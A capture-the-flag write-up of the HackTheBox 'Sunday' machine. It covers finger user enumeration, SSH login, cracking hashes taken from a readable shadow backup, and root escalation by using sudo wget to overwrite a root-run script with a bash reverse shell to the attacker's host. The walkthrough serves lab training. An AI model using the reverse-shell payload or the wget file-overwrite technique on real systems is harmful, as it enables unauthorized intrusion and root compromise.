# **HackTheBox – Sunday**

PATH TO OSCP

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# 1 HackTheBox Sunday



## 1.1 Objectives

- Enumerate Finger for valid user
- Get SSH access
- Use Wget to Priv-Escalate

## 1.2 Service Enumeration

#### **IP address**

10.10.10.76

### **Ports Open**

79 22022

### **Full Nmap Scan**

## 1.3 Finger Enumeration

Finger will allow us to validate users if we provide usernames:

```
finger 'user'@sunday.htb
```

Let's try with root user:

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```
(filiplain⊕ fsociety)-[~/oscp/htb/sunday]
$ finger root@sunday.htb
Login Name TTY Idle When Where
root Super-User pts/3 <Apr 24, 2018> sunday
```

We could validate many users at the same time:

```
(filiplain⊛ fsociety)-[~/oscp/htb/sunday]
 —$ finger 'root 1 2 3 4 5 6 7 8'@sunday.htb
                                  TTY
Login
             Name
                                               Idle
                                                        When
                                                                 Where
root
         Super-User
                                  pts/3
                                                <Apr 24, 2018> sunday
                        ???
2
3
4
5
6
                        ???
                        ???
                        ???
                        ???
                        ???
```

Let's try with usernames that this box could have based on the name, like "sun, sunny, sunday, sol, solaris":

```
-(filiplain® fsociety)-[~/oscp/htb/sunday]
 _$ finger 'root sunday sun sunny sol solaris'@sunday.htb
                               TTY
                                           Idle
Login
           Name
                                                  When
                                                           Where
                                            <Apr 24, 2018> sunday
         Super-User
                               pts/3
root
sunday
                      ???
sun
                      ???
                                            <Apr 24, 2018> 10.10.14.4
sunny
                               pts/3
         sunny
sol
                      ???
solaris
                      ???
```

Now we have a valid user "sunny", let's get the password!

## 1.4 Getting SSH Access

We have SSH on port 22022 and to connect to it we have to set a key exchange algorithm the server supports:

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```
(filiplain⊕ fsociety)-[~/oscp/htb/sunday]
$ ssh sunny@sunday.htb -p 22022
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-growwh55lw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

(filiplain⊕ fsociety)-[~/oscp/htb/sunday]
$ ssh -o KexAlgorithms=diffie-hellman-group1-sha1 sunny@sunday.htb -p 22022
Password: ■
```

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```
ssh -o KexAlgorithms=diffie-hellman-group1-sha1 sunny@sunday.htb -p

→ 22022
```

For the password we could try the same names that we tried for the user:

Password: sunday

## 1.5 Getting user

Now we have to go for the user Sammy. If we do a "sudo -l" we see that we can run '/root/troll' as root, but this only does an "id" command:

```
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
sunny@sunday:~$
```

Looking around we see a backup folder that contains a "shadow.backup", and we have read permission:

```
sunny@sunday:/backup$ ls -la
total 5
drwxr-xr-x 2 root root 4 2018-04-15 20:44 .
drwxr-xr-x 26 root root 27 2020-07-31 17:59 ..
-r-x--x-x 1 root root 53 2018-04-24 10:35 agent22.backup
-rw-r--r- 1 root root 319 2018-04-15 20:44 shadow.backup
```

Now we have the password hash for the user sammy:

```
mysql:NP::::::
openldap:*LK*:::::
webservd:*LK*:::::
postgres:NP::::::
svctag:*LK*:6445:::::
nobody:*LK*:6445:::::
noaccess:*LK*:6445:::::
nobody4:*LK*:6445:::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJ0T4T421N2OvsfXqAT1vCoYUOigB:6445:::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZ0MkUFxklRhhaShxv3:17636:::::
```

Let's save that hash into a file in our machine, so we can crack it with Hashcat or John.

#### **Cracking Hash**

I'm going to use John for this one:

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john -w=/usr/share/wordlists/rockyou.txt hash

sammy:cooldude!

## **SSH as Sammy**

```
(filiplain⊕ fsociety)-[~/oscp/htb/sunday]
$ ssh -o KexAlgorithms=diffie-hellman-group1-sha1 sammy@sunday.htb -p 22022
Password:
Last login: Fri Jul 31 17:59:59 2020
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sammy@sunday:~$
```

## 1.6 Gettig Root

Trying "sudo -l" we see that wget can be runned as root by the user Sammy.

```
sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:

(root) NOPASSWD: /usr/bin/wget
```

In this case we can read and overwrite files and get root access, like SSH keys or the Shadow file. In this case I'm going to overwrite "/root/troll" with a shell script, as we can run it as root whith the user sunny.

First we have to host a server with a reverse-shell script locally.

shell.sh:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.14/8089 0>&1
```

To overwrite "/root/troll":

### sudo wget -0 /root/troll http://10.10.14.14:8000/shell.sh

Now we have to exceute "/root/troll" as the user sunny real quick, before the file gets its original values again.

```
sunny@sunday:~$ sudo /root/troll

(filiplain® fsociety)-[~/oscp/htb/sunday]
$ nc -lvnp 8089
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8089
Ncat: Listening on 0.0.0.0:8089
Ncat: Connection from 10.10.10.76.
Ncat: Connection from 10.10.10.76:54134.
bash: no job control in this shell
root@sunday:~#
root@sunday:~#
root@sunday:~# cat /root/root.txt
fb40fab61d99d37536daeec0d97af9b8
root@sunday:~#
```